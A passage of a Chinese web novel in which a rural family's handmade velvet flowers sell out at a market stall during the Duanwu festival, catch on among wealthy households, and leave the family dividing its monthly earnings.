凌星这才松口气,从沈回怀里钻出来,发现沈回手上全是血。 “你受伤了!” 沈回扫了一眼,想到捏爆蛇头前发生的事,眸色加深许多。 “没有,蛇的血。” 凌星为了以防万一,还是抓着沈回的手检查好几遍。 宽大的手掌有不少茧子,硬硬的。凌星无意摸到,觉得有些划皮肤。 沈回另一只手死死的抓着草地,牙关紧咬,甚至咬了舌尖,这才让自己保持理智,没直接一把握住掌心里的手。 撑着让凌星检查完彻底放心后,沈回刷的一下就收回手,在凌星看不见的地方,抖个不停。 要命了,快别再抖,要被发现了。 沈回注意着凌星的视线,被抓握过的手往后放,紧握成拳,控制着肌肉。缓了好一会终于平复情绪,正常起来。 家里没有太多的糯米,粽子也不打算包太多。 沈回用河水洗干净手后,一下子开窍起来,芦苇叶子摘的又快又多。 加上凌星怕还有蛇出现,今天也是没想到,没带驱蛇药,摘的差不多二人便离开了河边。 第53章 第 53 章 绒花 端午前一天, 徐有芳笑容满面的拉着凌星去西头房。 床上铺满了形态各异,颜色精致漂亮的绒花。 “星哥儿快看看,娘做的这些绒花怎么样。” 凌星随手捡起离他最近的一朵绒花。 是海棠。 一朵朵海棠垂落在枝头,花瓣边缘微微卷曲, 好几种不同的粉色过度, 中间还有黄色的绒线做花蕊。 因实在是逼真好看,凌星下意识的放在鼻尖轻嗅。 自然是没有花香, 只有丝线的味道。 “娘, 你做的真好看!” 徐有芳对自己做的绒花也是满意至极。 刚开始的时候不顺手, 做坏过好多。多练手几次,后面倒是能把一朵花缠绕起来。 对她来说, 最难的不是掌控花的形状和颜色。 她刺绣多年, 从小就跟着名师学习,这些对她来说是最简单的。 难的是用火斗熨花瓣或者是花叶稍微卷曲的部分。 因为对花形过于了解,徐有芳也不允许自己在做绒花的时候, 图方便省事,就省略忽视这些细节的小地方。 期间手被火斗烫过好几次, 看着花瓣和记忆里的差不多模样,徐有芳都咬牙忍下了。 后面熟能生巧,自是越做越好。 也正是因为她这股非要做的相像的劲,让绒花看起来格外的真实。 怕绒花被压坏了, 徐有芳专门倒腾出来一个箱子用来装它们。 之前装在箱子里的衣服, 则是被全部取出来, 堆叠在另一个大箱子上, 用一块破旧的布盖在上面防灰尘。 徐有芳小心的装绒花,“火斗我得还给村长家,这段时间总是借他家的火斗, 实在是打扰了他们。” 凌星帮着她一起装,想着新一批的酱黄瓜要出了。 “酱黄瓜今天正好能出,给村长家送一斤去?” 家里酱黄瓜卖的价格,徐有芳是知道的。 黄瓜本来就是贵价些的菜蔬,这时候只会卖的更贵。 她想了一下,“一斤有点多,给半斤。满月做凉皮的时候,叫她切半张下来,你帮娘弄些调料,搅拌好了我一起给村长家送去,顺便还火斗。” 凌星点头,“他家有孩子,我凉皮就弄酸甜口的吧。” “成,就按着你说的去做。” 夏季若是不下雨,村户人家吃饭基本上都是把桌子搬到院子里吃。 这样的话能吹点风,不会那么的闷热。 现在天黑的晚,吃完饭后,太阳还在西边挂着,要落不落的。 曹满月做凉皮的速度快的很,要给村长家切半张送去感谢,她第一张做好就麻利的切了。 凌星把调料拌好,又弄了些酱黄瓜出来,装了满满的一碗。 大家手头都还有其他的事情忙,徐有芳两只手也不好端两个大陶碗,外加一个火斗。 便带着沈来去,他手里端着重量轻的凉皮。 一路上沈来是咽着口水走的。 酸甜口的凉皮勾着味觉,口水控制不住的在口腔中泛滥,好悬没流出来。 这些都是卖钱的东西,沈来一共也没吃过两次。 还都是凌星背着徐有芳偷偷给孩子们加餐的。 村长家这会也刚好吃完饭,听到敲门声,二儿媳孙水叶过去开门。 见到是徐有芳,她脸色不太好。 这徐婶子也不知道是什么原因,三天两头的借火斗。 一次两次可以借,她也不是什么小气人。 可这借的次数也太多了,不知道的还以为火斗是她家的。 孙水叶板着一张脸,也没仔细看,伸手就要接火斗。 “祝二媳妇,我来还你家火斗。”徐有芳把火斗还有手里装着满满酱黄瓜的陶碗一起送过去,“这是家里腌的酱黄瓜,拿回家去吃,对了还有这凉皮,也是家里做的。星哥儿专门弄的酸甜口,家里孩子都能吃。” 手里一下子多三个东西,还都是份量不轻的,孙水叶一时间也有些懵。 不过她很快就被香味吸引回神,低头一看,乖乖,这酱菜是黄瓜? 酱菜铺子她不是没逛过,价格心里自是有数。 还有没听过的凉皮,酸甜口?哪来的甜?莫不是里面加糖了不成? 孙水叶把口水咽下去,笑的眼睛都成一条缝。 “徐婶子你这也太客气了,不就是用个火斗,哪要你给这么多东西啊。” 嘴上是这么说,她的手是半点也没松。 就算是怀里东西再重,她都兜死死的。 徐有芳把东西还回去,带着沈来回家的时候,孙水叶还不忘热情的喊道:“下次要用火斗,婶子尽管来借啊!” 刚开始孙水叶的表情没藏住,徐有芳不是没看见。 而且这也不是孙水叶第一次给她摆脸色。 徐有芳清楚自己借的次数多,就是会引人不快,这无可厚非。 前面是家里实在没多余的钱买火斗,后面等绒花卖了,她还是自己买一个小的火斗用比较好。 这样还能想什么时候弄绒花,就什么时候弄绒花。 小一点的火斗她用来做绒花还能更顺手,灵活。 反正村长家的火斗,她是不准备再借用了。 孙水叶抱着东西回院子,王春霞看她走的艰难,连忙上去帮忙。 家里的火斗是借给了沈家用,她看到二儿媳怀里的火斗,就知道是沈家还回来的。 包括那两陶碗的吃食,不用想都知道是沈家人拿来的。 人已经离开,王春霞只好收下。 东西放进灶屋,正好祝如山看见了。 他看着两样吃食,腌菜竟然是拿未长成的小黄瓜腌制,另一样他更是看都没看过。 哪一样,都不是能出现在他们这样的村户人家。 祝如山到底是当了多年村长,有些事情看的比村民们更透彻一些。 一直以来,远离村子住在山脚,日子过的苦哈哈的沈家,怕是要起来了。 临睡前,祝如山把家人都召集起来。 只说了一句话。 “以后沈家要是有要帮忙的,别要什么好处,能帮的直接帮就是。” 虽说祝家的人有些不明白为什么要这样做,不过他们习惯了听一家之主的话,并且祝如山的话,从来没有错过。 祝家人纷纷点头应下。 绒花做好,凌星第二天摆摊子带了三十朵。 用布包好,放在背篓的最上层,也不占地方。 今天是端午,镇上的人比之前还要多一些。 周边的村子会有村民一起来赶集。 因此,镇上今日十分的热闹。 卖香囊,五彩线,生肖挂件的摊位前基本上都围着人。 空气里都飘着艾草,雄黄的味道。 * 刘山是布庄的掌柜,因为从小胎中不足的缘故,身体一直很瘦弱。 后面有钱了,能吃些滋补的药,填补身体。 不过每年夏季的时候,都会苦夏,什么也吃不了。 但今年不一样。 糖坊街有个汤包摊子,那摊子上在初夏的时候,出了猪皮冻,凉皮,他完全能吃得下。 后面出的酱黄瓜,清脆可口,他就着黄瓜咸菜,都能吃下一碗饭。 就连汤包,他蘸点醋,也能一顿吃十个。 终于在夏季有了能吃的进去的东西,刘山成为了汤包摊子的忠实顾客。 基本上每天都会来一趟,然后把摊位上的吃食,都给买一遍。 猪皮冻和凉皮买的最多,回去让夫郎调不同口味的料汁,往上一浇,顿顿都能“不重样”,根本吃不腻。 今天他依旧早早的过来排队。 随着天气越来越热,猪皮冻和凉皮卖的越来越好。 来的稍微晚一点,他都买不上。 排在队尾的刘山一边注意着前面队伍,一边心里发愁。 东家的小女儿要过十岁生辰,这是个大日子。 他身为布庄掌柜,不管怎样都是要送些礼去的。 十分贵重的他买不起,就只能多花心思,送点能入人心的。 坏就坏在前几年东家的哥儿,女儿们过生辰的时候,他已经掏空心思备了不少的礼。 虽说不是多贵重的东西,可就是讨孩子们的欢心。 主家人看着也觉得不错,用心不用心,那是一眼就能看出来的。 不然他一个没有任何根基的,也不可能短时间内一路升到布庄掌柜。 踏实是一方面,用心仔细也是一方面。 今年是大生日,无论如何肯定不能比之前差啊。 刘山愁的不行别说是镇子上,就是县里面他都看过,没什么能入眼的。 要么就是太贵,他买不起。 正想的出神,前面传来一阵喧闹声。 队伍也快排到了刘山,他踮起脚尖往前看,见不少人围在一处,也有些好奇。 以往大家买完东西都是尽快离开的,怎么今日反而聚集起来? 喧闹声也引得排在前面的食客注意,往前打探询问是怎么一回事。 很快,刘山就明白了缘由。 原来是汤包摊的小摊主,今日又新增了个东西来卖。 不是吃食,是佩戴在头上的东西,叫绒花。 簪子,发带这些大家都懂,但是绒花是没听过,更是没见过的。 前面的人说和真花一样,非常的精致漂亮。 刘山一下子就打起了精神。 真是打瞌睡就有人送枕头,他可不就是要寻这种新奇又好看的东西,用来做生辰礼吗! 而且东家的小女儿最爱花,十分喜欢明亮艳丽的颜色,也爱打扮自己。 这绒花简直就是来给他雪中送炭的啊! 汤包摊子是不允许插队的,这是一直以来的规矩。 刘山再怎么心急如焚,怕绒花被人买走,此时也只能等待队伍向前。 队伍最前面,之前买好吃食的食客们平移到右侧去,左侧是沈归在卖酱黄瓜。 右侧的摊子凌星看顾着,沈回负责蒸汤包,卖汤包。 深色稍显破旧的布上,摆着色彩鲜艳的绒花。 对比强烈,十分的吸引人。 “小摊主啊,你这摊子上卖的东西,还真是什么都有。” 挑花眼的食客们,轻轻的拿起绒花观看,忍不住感叹着。 凌星吸一下鼻子,他这个摊位不大,但确实是物尽其用了。 就十文钱,真的是赚太多。 其实一个摊子上虽然没有明确说只能卖一样东西,但管理摊位的人都会找卖两样东西的人私下罚。 也就是因为许七睁一只眼闭一只眼,凌星也时不时的会送些东西给他,这才能省下腌菜和绒花的摊位费。 凌月治嗓子和读书都要钱,为了多赚些后面卖的东西只会越来越多。 这样一想,还是有个铺子比较好。 摆摊的话,下雨天也很遭罪。 凌星心里有个小目标,年底的时候,能在镇子上租个铺子。 绒花用到的绣线并不便宜,徐有芳根据自己做的时间,还有绣线的价格,以及绒花的复杂程度,定了三个档位。 只有一朵花的最便宜,七文钱。 两朵到三朵的,是十五文钱。花朵少的,花形更复杂些。 四朵到六朵的绒花,是五十文钱。 这种基本上是配套的,一朵大花其他配套小花。整套簪在头上,很是好看。 因着今日是端午,前来的食客比平时更舍得花钱。 首饰在铺子里面买,就没有低于五十文的。 在凌星这里,五十文能买一整套往头上装饰。 虽说不是人人都掏钱买,但十个里面,也有三人愿意购入。 一整套的是桃花,很是娇俏明艳。 也只有一套,因为价格最贵,至今无人问津。 来凌星铺子的食客们,一口气花十文钱买几样吃食可以。 但让他们花五十文买首饰,那还是要掂量一阵子。 不过一朵的小绒花倒是能买,它卖的也最快,一共十朵,现在已经卖了六朵出去。 刘山垫脚能看到绒花的时候,是真被惊艳到。 不仅是花形逼真,颜色好看,做的精致。 它的寓意也好啊。 不会凋谢,永远漂亮。 他几乎是一眼就看中那套桃花绒花。 这样娇俏明艳的颜色和花形,最适合东家的小女儿。 更重要的是,桃花也是对方喜欢的花之一。 真是天选的礼物,刘山眼睛直勾勾的盯着,生怕被人截胡了。 等待的时间其实并不长,放在以前,这点排队时间刘山都不觉得有什么。 但今天对于他来说,格外的漫长。 前面的人似乎都没个尽头一样。 好不容易挨到刘山,因为是老食客了,凌星都能记得他每天要的东西。 “还是和之前一样吗?” 刘山手指着桃花绒花,激动道:“先不买别的,把这套绒花给我。” 说完又看到两朵红艳的山茶花,他捎带手也给卖了。 他夫郎喜欢红色,这个花做的漂亮,最适合他。 “红山茶也给我装起来,都要。” 凌星麻利的用油纸给包好,现在手里没有更合适包绒花的,家里剩下的油纸又有了用处。 刘山接过绒花,寻思着待会去找个精贵些的盒子,把那套桃花绒花装进去。 又和以往一样买了吃食,刘山火烧屁股一样跑走了。 最贵的绒花被买走,最便宜的绒花也没剩下两朵,中间价位的那些剩的剩的最多。 不过十五文钱在首饰里面,已经是很便宜。 别说做的还好看。 有年轻的姑娘跟着家人来买吃食,一眼看中绒花,和家人打商量,她今年不要香囊,换个绒花戴,家人也同意了她的要求。 买了一朵海棠花,直接戴在头上,整个人都添了一份明丽颜色。 她家人瞧着孩子戴上是真好看,掏钱买了更好一些的,不知是要送人还是家里留着戴。 眼看着绒花要卖光了,前面还有些犹豫七文钱的没了,要不要买十五文的客人,也不再犹豫,掏钱就是买。 反正又不会枯萎,能一年戴到头呢。 又是端午过节,花点钱就花点吧。 剩下的绒花也很快卖完,竟是汤包摊子上卖的最快的。 排在后面的人眼睁睁看着最后四朵漂亮俏丽的迎春花被一个小姑娘戴在头上,天都塌了。 咋这就没了呢? 他们也想买啊! 那花多好看啊!咋就不做多一点啊! 后排的食客们七嘴八舌的问,还有没有绒花,明天还卖不卖绒花。 这是徐有芳第一次尝试做绒花,前几天做出来的那些,徐有芳都不准备拿出来卖。 实在是不符合她的要求标准,还是留作压箱底吧。 符合能拿出去卖的标准的,一共有七十八朵。 家里还有四十八朵能卖。 说实话,凌星猜到绒花能卖的好,毕竟好看又便宜。 但他没想到能卖的这么好。 就算是十个人里只有三四人买,概率其实也挺高了。 毕竟这些人平时也不是多有钱的。 他们都愿意花钱购买,说明绒花很有市场。 娘做的绒花也是真的特别好。 端午的人流量大,今天收摊比平时快半个时辰。 沈归背着背篓,里面装着酱黄瓜坛子,走到一处小摊子前停下。 他手一指,选中一个朴素的小木盒子。 “这个胭脂我要。” 前几天他就盯上这款胭脂了,掌心大小要三十文,贵的很。 他没敢先买回家,肯定会被他媳妇要求退回去。 今日是端午,正好以过节为由头送,要是退回去福气就没了,他媳妇肯定能收下。 摊主做成了生意,脸上的带着笑,取出胭脂盒,递给沈归。 随后又问一声在一旁等着的凌星和沈回,“二位可有什么需要的?” 凌星不用胭脂水粉这些,摇了摇头。 沈回目光落在一款打开的瓷盒上,里面装着口脂。 那个颜色红中带粉,很适合…… 想到这里,沈回嗓子发紧,轻咳一声把自己的视线从口脂上撕扯下来。 也没回摊主的话,埋头就走,步子跨的极大,掩盖了他慌乱的内心。 路上沈归摸着胭脂盒子,一副笑眯眯的模样。 倒是叫沈回有些羡慕。 四弟可以正大光明的送出这些东西。 他却连想都不能想。 沈回深吸一口气,心里唾弃自己肮脏见不得人的心思。 又控制不住自己的视线,偷偷看了凌星好几眼。 回到家,沈归放下东西直奔屋里找曹满月。 端午是要用艾叶草泡水洗澡的,祈求今年一年,会避免被蚊虫叮咬。 三人到家的时候,正好四个孩子洗完了澡。 曹满月刚给小春小夏穿好衣服,两孩子急着去找凌月和沈来玩,看到沈归甜甜的喊了一声爹,得到应声后,蹦蹦跶跶的跑出房门。 自从凌月来家里以后,小春和小夏也更加的活泼了。 也不是凌月带起两个孩子的性子,是他们觉得凌月读书很厉害,又是他们的家人,所以他们不必再和以前一样担惊受怕。 心里的想法变了,性子自然就有所变化。 沈归看了出来,曹满月是当娘的,自然也看了出来。 “以前在楚家的时候,村子里有个秀才老爷。整个村子没人不听他,不敬着他的。就连楚有田那个混蛋对这位秀才老爷也要敬三分,不敢对人大声说话。” “有时候楚有田打孩子,这位秀才老爷看到会制止。不像其他人,看热闹拱火。所以两个孩子最喜欢读书人,也是打心眼里觉得读书人厉害,连楚有田都怕。” 凌月是上私塾的,在两个孩子眼里他比沈回这个自学的更让他们有安全感。 尤其是在一起玩的时候,凌月还会捧着书,给两个孩子迷的不行。 一致认为凌月是最厉害的人,还是他们的小叔叔,可以保护他们。 沈归很少听曹满月说起在楚家的事情。 那是她和两个孩子的噩梦。 如今好不容易脱离出来,过上了正常人的日子,也怕说多了惹人厌烦,是能不提就不提的。 现在突然说出来,也是因为两个孩子的变化显著,有感而发。 曹满月是真的觉得在沈家的日子,哪怕吃不饱穿不暖,也是她梦寐以求的好日子。 两个孩子性格也越来越开朗活泼,曹满月做梦都能笑醒。 沈归伸手,擦去曹满月脸上的眼泪,“我会跟着大哥夫踏实赚钱,让你和孩子们过的更好。” 曹满月闻言眼泪一下止不住。 一开始的时候,曹满月是没以为这日子能过好的。 她的相公年纪小,长的又好。 刚嫁来沈家的那年,村子里还会有些姑娘和哥儿过来找她。 也不说什么话,就是看她,然后露出鄙夷的神情。 她知道,这些人是心仪沈归。 也知道,他们觉得她配不上沈归。 但不管配不配的上,她都要抓着沈家,留在沈家把日子过下去。 那时的她也不求别的,就求沈归不打她和孩子就够了。 其他的,想怎样都行。 没想到的是,相公的年纪是小,待人却好。 人虽然还有些爱玩闹,也没什么志向规划,可也不会叫她和孩子没吃没穿。 现在因为大哥夫带着挣钱,说出曹满月做梦都不敢想的承诺,她是真的高兴喜悦。 而在看到沈归神神秘秘掏出的小木盒,打开给她看里面的胭脂时,曹满月惊讶的不知道说什么是好。 “这胭脂我看着好看,很适合你就买了。端午买的东西可不兴退回去的,你只能收下。” 说着就往曹满月手里一个劲的塞。 刚放到曹满月手里,沈归突然啊了一声。 “我说小时候抓周怎么抓的胭脂盒呢,感情是后面要给媳妇买胭脂啊。” 曹满月笑出了声,握着手里的胭脂盒子,心里满满的欢喜。 第54章 第 54 章 分钱,逛街 绒花成了汤包摊子最受欢迎的存在。 之前凌星还以为端午那天, 会是绒花卖的最好的一天。 毕竟那天的客流量很大。 没想到,第二天的时候,绒花的热度才刚刚起来。 昨天过节,来买绒花的不少都去亲朋好友家拜访。 有的另添一份绒花做节礼, 有的就是自己头上戴着, 增添一些亮色,看起来更加的体面。 不管是哪一种, 都是让更多的人知道了绒花。 卖的最好的是七日后。 镇上布庄东家小女儿过十岁生辰, 孩子整岁的生辰陆家办的很是风光。 陆小小是家里最小的孩子, 长得玉雪可爱,性子也很乖巧, 很是得宠。 她要天上的星星, 爹娘和哥哥姐姐们不会给她摘月亮。 往年过生辰,她最喜欢的就是刘掌柜送的礼物。 今年是整岁生日,陆小小从一个月前就开始期待, 不知道刘掌柜会给她送什么新奇好玩的东西。 生辰宴这日,陆小小派身边的丫鬟去门口守着。 只要刘掌柜上了礼单, 就单独把礼物挑出来拿到后院。 她迫不及待的想看。 丫鬟春杏按着小姐的要求,在门口等了好一会,终于看到熟悉的身影。 “布庄掌柜刘山,送绒花一套。” 春杏听着小厮唱礼名, 是没听过的东西, 心下一定。 稳了。 雕花匣子还没来得及送出去, 就被一只手半路截胡。 刘山看到是春杏, 就晓得是七姑娘等不及了。 他笑着把雕花匣子转手递给春杏,对里面的绒花很有信心。 陆小小穿着粉嫩的衣裙,在院子里玩秋千。 她身边此时围着不少人, 都是她爹生意上伙伴的子女。 与她年岁差不多,有共同的话题,能玩到一起去。 看到春杏回来,陆小小连最爱的秋千也不玩了。 等在一旁想要玩秋千的小姑娘还有哥儿们一拥而上,谁都想玩秋千。 也有一些人好奇是什么东西让陆小小连秋千也不玩,便跟着她一起去找春杏。 陆小小接过雕花匣子,用手轻轻晃动听声音,结果什么也没听见。 跟着她过来的一个圆脸小姑娘好奇道:“小小,这是什么啊?” “我的生辰礼物,你们想看吗?” 跟过来的小姑娘和小哥儿都不满十岁,正是好奇心最重的年纪。 陆小小这么问,大家自然是想看的。 “想!” 陆小小没再耽误,她自己也好奇的要命。 雕花匣子打开,露出粉嫩的桃花,满满一匣子,漂亮极了。 “哇!好漂亮的花啊!” “现在竟然还能找到品相这样好的桃花?” “哪里还有桃花啊,我也想要。绑起来做簪花肯定好看。” 每年各种花卉盛开的时候,也是姑娘,哥儿们戴花的时候。 不过因为鲜花容易衰败,掉落花瓣,所以戴的时候要很小心。 戴上去后,更是要注意。 不然在不知道的情况下,花枯萎了,或是花瓣掉落的差不多。 那就不是好看,而是闹笑话,意头也不好。 陆小小离匣子最近,她看的更加清楚。 刚开始的时候,她也以为是真的桃花。 仔细一看又觉得不对。 匣子里的花,在阳光下,似乎有反光。 更像是昂贵的丝绸在阳光照射下的样子。 春杏道:“刘掌柜说这是绒花,知道七小姐爱桃花,便买了一整套,戴在头上定是漂亮极了。” 正巧还和她今日穿的衣着相配。 陆小小捧着雕花匣子,一双大眼睛盯着里面精致漂亮的绒花,连忙道:“快,春杏,我要戴上!” 没一会功夫,陆小小头上的珠钗就被卸掉,换成了绒花。 粉嫩俏丽的桃花十分逼真,春杏还给陆小小头上配了粉色的飘带。微风拂起时,人影轻动时,都会缓缓飘动,更显俏皮机灵。 陆小小戴好绒花再出来时,引得一群小朋友们哇声一片。 就连争着完秋千的那几个也不争了,全部跑过来一脸羡慕的看着陆小小。 “小小,你好漂亮啊!” “像花仙子!” “你的礼物真的太棒了,我都没有见过。” 陆小小被夸的昂首挺胸,嘿嘿直乐。 她一定要让爹爹奖励刘掌柜! 桃花绒花与今天的陆小小实在是适配,加上春杏配的那飘带,更是绝佳搭配。 开宴前,陆小小和一众小朋友去内厅。 又得到了各个夫人,夫郎们的赞美夸奖。 陆小小头上的桃花孩子们都羡慕坏了,他们这些当娘,当阿父的都看在眼里。 因此不少人寻问陆夫人,七姑娘头上戴的是什么,他们也想给自家的孩子买。 陆夫人也一脸懵,她不晓得啊。 好在春杏反应快。 “回各位夫人、夫郎们的话。七姑娘头上戴的是绒花,布庄的刘掌柜为七姑娘生辰专门寻来的。” 陆夫人闻言了然。 刘掌柜她知道,年年家里孩子们的生辰,他都会送礼。 虽然都不是什么贵价的东西,可送的用心,她和当家的都很喜欢这位掌柜。 “去把刘掌柜请来。” 绒花以前没人听过,只能问刘掌柜才知道来源。 刘山到了内厅,路上也知道了被夫人请来的缘由。 他恭敬的拱手行个礼,在陆夫人的示意下,详细的说了绒花在哪能买。 送礼要送的入人心,要恰到好处。 陆小小因为绒花在生辰宴上大出风头,谁见着了都夸一句好看。 不是违心,而是真觉得好看。 这让宠爱孩子的爹娘心中大悦。 刘掌柜华丽丽的“升迁”了。 要在县里的铺子当掌柜,每个月比之前多二两银子呢。 而凌星摊位上的绒花,在陆小小生日后的一天,被县里来的人直接包圆了。 有钱人之间的消息都是互通的。 绒花因为精致漂亮,寓意好,在县里有钱人里掀起一阵风潮。 他们也不觉得这东西低廉就掉面子。 大不了买回来后,在上面弄些珍珠,或者用金线缠绕一下。 徐有芳的绒花前面做的不多,一共七十八朵,全部卖完也就两天的功夫。 卖完之后,徐有芳是干劲满满,又开始做起来。 还从私房钱里拿出一些,买了个精致小巧的火斗。 绒花因为前面不会,做的慢成品也少。 现在因为熟能生巧,徐有芳的速度很快。 她让曹满月帮着梳绒,固定铜线剪好。 也不叫儿媳妇白干,一个时辰徐有芳给她十五文钱。 这个价格,要是放在外面,是要做苦力活才能赚到。 曹满月都不好意思要,还是徐有芳非要给,叫她存着,后面小春小夏迟早要用到钱。 给曹满月感动的不行,埋头就是干,活做的仔细又认真。 前面的步骤有人帮做,徐有芳的速度就更快了,一天就能做五十朵出来。 当然这是简单的。 造型复杂,一整套的绒花,一天能做出两三套。 她本来还担心做太多卖不出去,没想到每天都不够卖。 听星哥儿说,绒花刚摆上,县里来的人早就候着,一窝蜂的抢。 现在县里的富贵人家流行起改绒花。 看谁改的好看又华丽。 要改绒花,那得有绒花才行。 夫人、夫郎们凑一起聚会,大家都比拼自己的绒花改的怎样,谁要是没有,那都融入不了话题。 这样一来,绒花自然更抢手,卖的更快。 那些小厮都是前一天就来云霞镇,找个客栈落脚,第二天一早就守在糖坊街等凌星出摊子。 一大早的就排队等,也饿的厉害。 主家给足了银钱让他们来买东西,他们也不会亏待自己的五脏庙。 凌星卖的汤包好吃,他们也成了常客。 因为绒花的缘故,汤包卖的比以前要快不少。 要不是因为没有调料,猪皮冻和凉皮卖他们不好买,凌星还能提前两刻钟收摊。 …… 五月过后,天气越发的炎热。 凌星不得不买冰,凉皮和肉馅这些都需要冰来保鲜。 好在家里也挖了地窖,每天费半桶冰,加上放在地窖,能保证新鲜不坏。 冰价有高有低,能入口的冰很贵,按斤卖要五十文。 不能入口的冰便宜,一斤二十文。 凌星每天要比以往多花四十文买冰,不过他也没有因此调整售卖的吃食价格。 夏季也就这两三月,做生意不能太在意这点小钱得失。 他总归还是赚的。 月底也到了算钱分账的时候。 前面因为铜钱太多,凌星已经逐步兑换成银子。 他看着账本,也没想到这个月竟然赚了这么多钱。 一个月下来,凌星只包子摊的纯盈利,有三万三千文。 给家里一成,三千三百文。沈回两成,六千六百文。 凌星自己有两万三千一百文,其中有三千文是凉皮的盈利。 这是和曹满月二八分,要给她六百文。 腌菜那边和沈归四六分,十三坛半的纯利润是两千一百六十文,沈归拿四成,是八百六十四文。 剩下的一千两百九十六文,是凌星拿。 绒花只卖了半个月,纯盈利就有四千三百六十八文。 徐有芳给了两成给凌星,算八百七十四文。这点子是凌星想出来的,以后不管卖多少,她都会给两成给凌星。 去除给凌星和曹满月的工钱,徐有芳自己半个月足足赚了三千一百零四文。 划下来就是三两银子。 这比绣花要赚钱多了。 之前绣花,一个月也就赚三两银子。 现在她还不是从早到晚的做绒花,要是熬夜做,一个月十两打不住啊。 家里盖房子的事,总算是有了着落。 徐有芳准备后面每天再多做半个时辰,一个月至少能多赚二两银子。 她的钱加上凌星交给公中的银子,明年开春家里就能盖房子。 曹满月跟着徐有芳后面干了十三天的梳绒、固定铜线。每天两个时辰,赚了三百九十文。 加上凉皮分到的六百文钱,她五月只在家里干干活,就有九百九十文。 之前在楚家的时候,她手里是一文钱也没有的。 来沈家的前两年,因为大哥生病的原因,她的手里也没什么钱。但是至少家里要她买东西,会提前给她足够的钱。 而不是让她低声下气的求着公婆或是相公给她点钱去买。 边给钱还会边骂她没用,一天到晚就知道伸手要钱。 她哪能不伸手啊。 她身上一文没有,又要她买东西,不给她钱难不成要她去偷去抢吗? 九百九十文,是沉甸甸的铜板。 放在曹满月的手里,是满满的安全感。 这些爹娘一文也没有要,全给她自己留着做私房。 曹满月抱着铜板,低声缀泣许久。 小春和小夏看到娘亲哭,心也跟着揪起来。 自从来到沈家,就不曾看到娘亲哭过。 这一哭,直接就把两孩子带回到在楚家的记忆。 一左一右护在曹满月身边,小脸上全是担忧。 两孩子伸出手,有些笨拙的给曹满月擦眼泪。 “娘,不哭。” 曹满月吸了一下鼻子,紧紧的抱着两个孩子,露出笑来,“娘不是难过,是高兴。” 只要婆婆的绒花一直做,大哥夫的凉皮一直卖。 她就能攒到足够的钱,给她的小春小夏,备上一份不错的嫁妆。 有了钱就是有底气。 她的孩子,绝对不能走她的老路。 她要孩子们幸福。 * 这一个月下来,凌星七七八八加起来,已经赚了两万四千六百七十文钱。 换成银子,就是二十四两另六百七十文钱。 凌月吃药和束脩,一个月加起来也就五百多文。 药便宜是因为李大夫尽量用廉价一些的药替代了贵价的好药,当然这样一来效果也是大打折扣的。 需要治疗的时间会更久一些,恢复的效果也不会是最好。 凌星之前完全没想到一个月会赚这么多。 不过一想也是,他自己一个人就卖三种吃食,完全是积少成多。 一天盈利平均都上一两银子了。 酱黄瓜因为原料不够,只卖了半个多月。 要是有足够的原料,还能赚更多。 手里有了银子,凌星决定先把凌月的药换成好药。 之前李大夫给他报过价格,用好药的话,一个月就要十两银子。 钱没了还可以再赚,嗓子要是错过最好治疗的阶段,那将会是一生的遗憾。 想到之前凌月因为嗓子难听而不愿意开口说话,凌星就更加坚定了决心。 沈回那边,凌星也准备每个月另外多给二两银子给他。 卖的东西变多,沈回背着的重量自然也是变多。 分成不好再改,就算作是做的好单独给的奖金吧。 凌星把凌月下个月吃药要用到的十两银子单独另放,又取出二两碎银,待会要拿给沈回。 剩下的十二两用布包好放在柜子最底下,等到快年底的时候,他要去镇上看铺子。 另外的六百七十文钱拿出来,留着日常开销用。 不得不说,不用交房租水电,吃的也基本上都是家里种的,每个月的开销是真的少。 从凌星摆摊子至今,每个月都会交一成给公中做公用。 中间有段时间因为凌月不能回来,只能在赌坊里面修养,凌星为了照顾他,也没有摆摊。 这个月赚的多,给了公中三两银子,加上之前的也有五两银子。 沈呈山拍板决定米面各买十斤,再割一斤肉,回来给凌星还有四个孩子补身体。 他心里想的也简单,大人瘦点没关系。孩子要养好,不然长不大。 凌星是家里的例外,他就算年龄再大,沈家都要对他好。 这段时间凌星也需要每天背东西,身子骨结实不少,不过还是瘦。 沈回每次上山弄芭蕉叶的时候,会弄些猎物吃。倒是没瘦,还是和以前一样壮实。 那点时间,也就只够他自己填饱肚子,不多吃家里的粮食。 想要给家里补贴,根本没时间再查看其他地方的笼子。 全家只有沈回壮实。 也幸亏他壮实,看着大块头就吓人,才没人敢找家里的麻烦。 凌星也觉得孩子们的营养需要跟上。 现在四个孩子瘦巴巴的样子,还是凌星时不时会弄些好吃的给他们补后的结果。 要是没补,就和凌星刚来沈家时一样。 看着都像是皮包骨头。 米面和肉都有了,还要点鸡蛋。 沈呈山琢磨一会,家里院子大弄个鸡舍完全够的。决定买些鸡回来养,后面能下蛋。他想好了,下多少蛋都留着家里吃,不拿去卖钱。 省下那点鸡蛋钱也富裕不了,却能养好身体。 身体最重要。 正好沈小五整天也没事干,天天撑着手晒太阳发呆。 于是养鸡这活,沈呈山说交给沈来。 听说要养鸡,沈来眼睛都亮了。 养鸡好啊,不仅能吃鸡蛋,搞不好还能吃鸡肉呢。 他只吃过二哥从山上打的山鸡,味道是真的好。 可除了开春吃过那一次,后面就再也没吃过了。 二哥现在每天忙的很,去山上也很快就下来,不打猎了。 鸡蛋他以前生病的时候吃过,是蒸鸡蛋。 滑滑嫩嫩的可好吃了。 沈来忍不住吞咽口水,馋的很。 “爹你最好了!” 凌月的腿也大好,能正常走路了。 正好要换治疗嗓子的药,需要去镇上给李大夫重新把脉看伤,然后另配药。 前面凌星也答应过孩子们,等凌月腿好的差不多,就带他们一起去镇上玩。 “爹,我买的那些面还有肉就留在家里吃。明天摊子歇一天,我带着孩子们一起去镇上买米和鸡。” 沈呈山道:“面和肉的钱待会我叫你娘给你补上,你一个人带着四个孩子还要买东西不方便,叫二郎陪你去。” 堂屋里的讨论声,传进西头房。 忙着梳绒的曹满月忍不住朝着门口看一眼,徐有芳手里的火斗一转,“明天娘给你放一天假,你也跟着星哥儿他们去镇子上逛逛。正好帮娘买点绣线,你以前总帮着理绣线,知道哪种是娘需要的。” 徐有芳借着买绣线的由头,让曹满月不好拒绝。 曹满月心里是感激的,知道婆婆这样说,就是为了让她放心出去逛逛。 上次去镇上,还是好多年前了。 她的印象已经很模糊,就连为的什么事去镇上都记不太清。 “好的娘。” 曹满月和孩子们要去镇上,沈归也想去。 多大的人了,还跑到爹娘面前哼哼唧唧,说要跟着去镇上玩。 